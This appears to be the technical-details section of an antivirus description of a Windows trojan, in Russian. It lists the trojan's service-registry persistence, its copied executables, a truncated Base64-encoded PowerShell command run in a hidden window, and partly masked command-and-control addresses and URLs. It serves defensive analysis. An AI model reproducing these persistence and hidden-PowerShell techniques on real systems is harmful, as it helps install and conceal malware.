Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\uexfat] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\uexfat] 'ImagePath' = '"%WINDIR%\SysWOW64\wuapp\uexfat.exe"'
- 'uexfat' "%WINDIR%\SysWOW64\wuapp\uexfat.exe"
- 'uexfat' %WINDIR%\SysWOW64\wuapp\uexfat.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAHkATwA4AHEARQAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewA0AH0AewAwAH0AIgAgAC0ARgAnAHIAeQAnACwAJwBzAFkAUwBUACcALAAnAEQASQBSACcALAAnAEUATQAuAEkATwAuACcALA...
- %HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe
- %WINDIR%\syswow64\wuapp\uexfat.exe
- %HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe в %WINDIR%\syswow64\wuapp\uexfat.exe
- '17#.#5.102.2':80
- '91.##1.200.35':8080
- http://io####bhosting.com/cgi-bin/8li/
- http://91.###.200.35:8080/ltK4pvT3tXfnY/baGmeELa9q0y/h6U85gJEk/PYWdsfCVeovOREa/ via 91.##1.200.35
- DNS ASK io####bhosting.com
- '%HOMEPATH%\qja7l6t\dz0li3c\mwew2pan.exe'
- '%WINDIR%\syswow64\wuapp\uexfat.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABLAHkATwA4AHEARQAgAD0AIABbAHQAWQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAyAH0AewA0AH0AewAwAH0AIgAgAC0ARgAnAHIAeQAnACwAJwBzAFkAUwBUACcALAAnAEQASQBSACcALAAnAEUATQAuAEkATwAuACcALA...' (со скрытым окном)